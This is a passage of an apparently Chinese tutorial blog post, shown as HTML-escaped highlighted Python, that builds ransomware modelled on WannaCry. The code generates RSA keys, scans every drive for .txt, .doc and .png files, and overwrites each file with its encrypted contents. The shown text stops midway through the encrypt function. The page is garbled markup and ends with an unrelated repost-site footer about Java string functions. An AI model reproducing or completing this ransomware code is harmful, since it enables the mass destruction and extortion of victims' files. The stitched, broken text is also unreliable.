&span class=&n&&lx&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&mi&&1&/span&&span class=&p&&,&/span&&span class=&mi&&0&/span&&span class=&p&&,&/span&&span class=&n&&b&/span&&span class=&p&&]&/span&
&span class=&n&&ly&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&mi&&0&/span&&span class=&p&&,&/span&&span class=&mi&&1&/span&&span class=&p&&,&/span&&span class=&n&&a&/span&&span class=&p&&]&/span&
&span class=&k&&while&/span& &span class=&n&&ly&/span&&span class=&p&&[&/span&&span class=&mi&&2&/span&&span class=&p&&]&/span&&span class=&o&&!=&/span&&span class=&mi&&1&/span&&span class=&p&&:&/span&
&span class=&k&&if&/span& &span class=&n&&ly&/span&&span class=&p&&[&/span&&span class=&mi&&2&/span&&span class=&p&&]&/span&&span class=&o&&==&/span&&span class=&mi&&0&/span&&span class=&p&&:&/span&
&span class=&k&&return&/span& &span class=&mi&&0&/span&
&span class=&n&&q&/span&&span class=&o&&=&/span&&span class=&n&&lx&/span&&span class=&p&&[&/span&&span class=&mi&&2&/span&&span class=&p&&]&/span&&span class=&o&&/&/span&&span class=&n&&ly&/span&&span class=&p&&[&/span&&span class=&mi&&2&/span&&span class=&p&&]&/span&
&span class=&n&&lt&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&n&&lx&/span&&span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&p&&]&/span&&span class=&o&&-&/span&&span class=&n&&ly&/span&&span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&p&&]&/span&&span class=&o&&*&/span&&span class=&n&&q&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&nb&&range&/span&&span class=&p&&(&/span&&span class=&mi&&3&/span&&span class=&p&&)]&/span&
&span class=&n&&lx&/span&&span class=&o&&=&/span&&span class=&n&&ly&/span&
&span class=&n&&ly&/span&&span class=&o&&=&/span&&span class=&n&&lt&/span&
&span class=&k&&return&/span& &span class=&n&&ly&/span&&span class=&p&&[&/span&&span class=&mi&&1&/span&&span class=&p&&]&/span&&span class=&o&&%&/span&&span class=&n&&b&/span&
&span class=&k&&def&/span& &span class=&nf&&coprime&/span&&span class=&p&&(&/span&&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&b&/span&&span class=&p&&):&/span&&span class=&c1&&#判断互质&/span&
&span class=&k&&if&/span& &span class=&n&&a&/span&&span class=&o&&&&/span&&span class=&n&&b&/span&&span class=&p&&:&/span&
&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&b&/span&&span class=&o&&=&/span&&span class=&n&&b&/span&&span class=&p&&,&/span&&span class=&n&&a&/span&
&span class=&k&&while&/span& &span class=&n&&b&/span&&span class=&o&&!=&/span&&span class=&mi&&0&/span&&span class=&p&&:&/span&
&span class=&n&&t&/span&&span class=&o&&=&/span&&span class=&n&&a&/span&&span class=&o&&%&/span&&span class=&n&&b&/span&
&span class=&n&&a&/span&&span class=&o&&=&/span&&span class=&n&&b&/span&
&span class=&n&&b&/span&&span class=&o&&=&/span&&span class=&n&&t&/span&
&span class=&k&&return&/span& &span class=&p&&(&/span&&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&b&/span&&span class=&p&&)&/span&
&span class=&k&&def&/span& &span class=&nf&&get_key&/span&&span class=&p&&():&/span&&span class=&c1&&#生成公钥和秘钥&/span&
&span class=&n&&p&/span&&span class=&o&&=&/span&&span class=&n&&big_rand&/span&&span class=&p&&()&/span&
&span class=&n&&q&/span&&span class=&o&&=&/span&&span class=&n&&big_rand&/span&&span class=&p&&()&/span&
&span class=&n&&n&/span&&span class=&o&&=&/span&&span class=&n&&p&/span&&span class=&o&&*&/span&&span class=&n&&q&/span&
&span class=&n&&e_n&/span&&span class=&o&&=&/span&&span class=&n&&n&/span&&span class=&o&&-&/span&&span class=&n&&p&/span&&span class=&o&&-&/span&&span class=&n&&q&/span&&span class=&o&&+&/span&&span class=&mi&&1&/span&
&span class=&n&&e&/span&&span class=&o&&=&/span&&span class=&n&&get_e&/span&&span class=&p&&(&/span&&span class=&n&&e_n&/span&&span class=&p&&)&/span&
&span class=&n&&d&/span&&span class=&o&&=&/span&&span class=&n&&euclid&/span&&span class=&p&&(&/span&&span class=&n&&e&/span&&span class=&p&&,&/span&&span class=&n&&e_n&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&p&&[&/span&&span class=&n&&e&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&n&&e_n&/span&&span class=&p&&,&/span&&span class=&n&&d&/span&&span class=&p&&,&/span&&span class=&n&&p&/span&&span class=&p&&,&/span&&span class=&n&&q&/span&&span class=&p&&]&/span&
&/code&&/pre&&/div&&p&在加密主函数RSA_encrypt()中,我们把明文加密后得到的integer类型数据转换为byte类型返回密文bytes字符串用于写入目标文件。&/p&&p&&b&遍历文件获取加密目标:&/b&&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&IterateFiles&/span&&span class=&p&&(&/span&&span class=&n&&directory&/span&&span class=&p&&,&/span&&span class=&n&&formlist&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&s1&&'txt'&/span&&span class=&p&&,&/span&&span class=&s1&&'doc'&/span&&span class=&p&&,&/span&&span class=&s1&&'png'&/span&&span class=&p&&]):&/span&&span class=&c1&&#之前从网络收藏的遍历模块,获得目标加密文件&/span&
&span class=&k&&assert&/span& &span class=&n&&os&/span&&span class=&o&&.&/span&&span class=&n&&path&/span&&span class=&o&&.&/span&&span class=&n&&isdir&/span&&span class=&p&&(&/span&&span class=&n&&directory&/span&&span class=&p&&),&/span&&span class=&s1&&'make sure directory argument should be a directory'&/span&
&span class=&n&&result&/span& &span class=&o&&=&/span& &span class=&p&&[]&/span&
&span class=&k&&for&/span& &span class=&n&&root&/span&&span class=&p&&,&/span&&span class=&n&&dirs&/span&&span class=&p&&,&/span&&span class=&n&&files&/span& &span class=&ow&&in&/span& &span class=&n&&os&/span&&span class=&o&&.&/span&&span class=&n&&walk&/span&&span class=&p&&(&/span&&span class=&n&&directory&/span&&span class=&p&&,&/span& &span class=&n&&topdown&/span&&span class=&o&&=&/span&&span class=&bp&&True&/span&&span class=&p&&):&/span&
&span class=&k&&for&/span& &span class=&n&&fl&/span& &span class=&ow&&in&/span& &span class=&n&&files&/span&&span class=&p&&:&/span&
&span class=&k&&if&/span& &span class=&n&&fl&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'.'&/span&&span class=&p&&)[&/span&&span class=&o&&-&/span&&span class=&mi&&1&/span&&span class=&p&&]&/span& &span class=&ow&&in&/span& &span class=&n&&formlist&/span&&span class=&p&&:&/span&
&span class=&n&&result&/span&&span class=&o&&.&/span&&span class=&n&&append&/span&&span class=&p&&(&/span&&span class=&n&&os&/span&&span class=&o&&.&/span&&span class=&n&&path&/span&&span class=&o&&.&/span&&span class=&n&&join&/span&&span class=&p&&(&/span&&span class=&n&&root&/span&&span class=&p&&,&/span&&span class=&n&&fl&/span&&span class=&p&&))&/span&
&span class=&k&&return&/span& &span class=&n&&result&/span&
&span class=&k&&def&/span& &span class=&nf&&drives&/span&&span class=&p&&():&/span&&span class=&c1&&#获取存在的盘符&/span&
&span class=&n&&drive_list&/span& &span class=&o&&=&/span& &span class=&p&&[]&/span&
&span class=&k&&for&/span& &span class=&n&&drive&/span& &span class=&ow&&in&/span& &span class=&nb&&range&/span&&span class=&p&&(&/span&&span class=&nb&&ord&/span&&span class=&p&&(&/span&&span class=&s1&&'A'&/span&&span class=&p&&),&/span& &span class=&nb&&ord&/span&&span class=&p&&(&/span&&span class=&s1&&'N'&/span&&span class=&p&&)):&/span&
&span class=&k&&if&/span& &span class=&n&&os&/span&&span class=&o&&.&/span&&span class=&n&&path&/span&&span class=&o&&.&/span&&span class=&n&&exists&/span&&span class=&p&&(&/span&&span class=&nb&&chr&/span&&span class=&p&&(&/span&&span class=&n&&drive&/span&&span class=&p&&)&/span& &span class=&o&&+&/span& &span class=&s1&&':'&/span&&span class=&p&&):&/span&
&span class=&n&&drive_list&/span&&span class=&o&&.&/span&&span class=&n&&append&/span&&span class=&p&&(&/span&&span class=&nb&&chr&/span&&span class=&p&&(&/span&&span class=&n&&drive&/span&&span class=&p&&)&/span&&span class=&o&&+&/span&&span class=&s2&&&:&/span&&span class=&se&&\\&/span&&span class=&s2&&&&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&n&&drive_list&/span&
&span class=&k&&def&/span& &span class=&nf&&walk_drivers&/span&&span class=&p&&(&/span&&span class=&n&&formlist&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&s1&&'txt'&/span&&span class=&p&&,&/span&&span class=&s1&&'doc'&/span&&span class=&p&&,&/span&&span class=&s1&&'png'&/span&&span class=&p&&]):&/span&&span class=&c1&&#遍历全部磁盘文件获取加密目标绝对地址的list&/span&
&span class=&n&&driver_list&/span&&span class=&o&&=&/span&&span class=&n&&drives&/span&&span class=&p&&()&/span&
&span class=&n&&files&/span&&span class=&o&&=&/span&&span class=&p&&[]&/span&
&span class=&k&&for&/span& &span class=&n&&driver&/span& &span class=&ow&&in&/span& &span class=&n&&driver_list&/span&&span class=&p&&:&/span&
&span class=&n&&files&/span&&span class=&o&&+=&/span&&span class=&n&&IterateFiles&/span&&span class=&p&&(&/span&&span class=&n&&driver&/span&&span class=&p&&,&/span&&span class=&n&&formlist&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&s1&&'txt'&/span&&span class=&p&&,&/span&&span class=&s1&&'doc'&/span&&span class=&p&&,&/span&&span class=&s1&&'png'&/span&&span class=&p&&])&/span&
&span class=&k&&if&/span& &span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&argv&/span&&span class=&p&&[&/span&&span class=&mi&&0&/span&&span class=&p&&]&/span& &span class=&ow&&in&/span& &span class=&n&&files&/span&&span class=&p&&:&/span&
&span class=&n&&files&/span&&span class=&o&&.&/span&&span class=&n&&remove&/span&&span class=&p&&(&/span&&span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&argv&/span&&span class=&p&&[&/span&&span class=&mi&&0&/span&&span class=&p&&])&/span&
&span class=&k&&return&/span& &span class=&n&&files&/span&
&/code&&/pre&&/div&&p&就像WANNACRY一样,我们设置目标文件后缀缺省值为为一些常见的文档、图片格式,最后我们得到files这个包含所有目标文件绝对路径的list。&/p&&p&&b&最后,结合目标文件和加密算法进行批量加密:&/b&&/p&&p&单线程:&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&encrypt&/span&&span class=&p&&(&/span&&span class=&n&&filename&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&p&&):&/span&
&span class=&k&&try&/span&&span class=&p&&:&/span&
&span class=&k&&with&/span& &span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&filename&/span&&span class=&p&&,&/span&&span class=&s1&&'rb'&/span&&span class=&p&&)&/span& &span class=&k&&as&/span& &span class=&n&&f&/span&&span class=&p&&:&/span&
&span class=&n&&t&/span&&span class=&o&&=&/span&&span class=&n&&f&/span&&span class=&o&&.&/span&&span class=&n&&read&/span&&span class=&p&&()&/span&
&span class=&n&&c&/span&&span class=&o&&=&/span&&span class=&n&&RSA_encrypt&/span&&span class=&p&&(&/span&&span class=&n&&t&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&p&&[&/span&&span class=&mi&&0&/span&&span class=&p&&],&/span&&span class=&n&&k&/span&&span class=&p&&[&/span&&span class=&mi&&1&/span&&span class=&p&&])&/span&&span class=&c1&&#加密&/span&
&span class=&k&&with&/span& &span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&filename&/span&&span class=&p&&,&/span&&span class=&s1&&'wb'&/span&&span class=&p&&)&/span& &span class=&k&&as&/span& &span class=&n&&f&/span&&span class=&p&&:&/span&
&span class=&n&&f&/sp}

我要回帖

更多关于 java截取字符串的函数 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信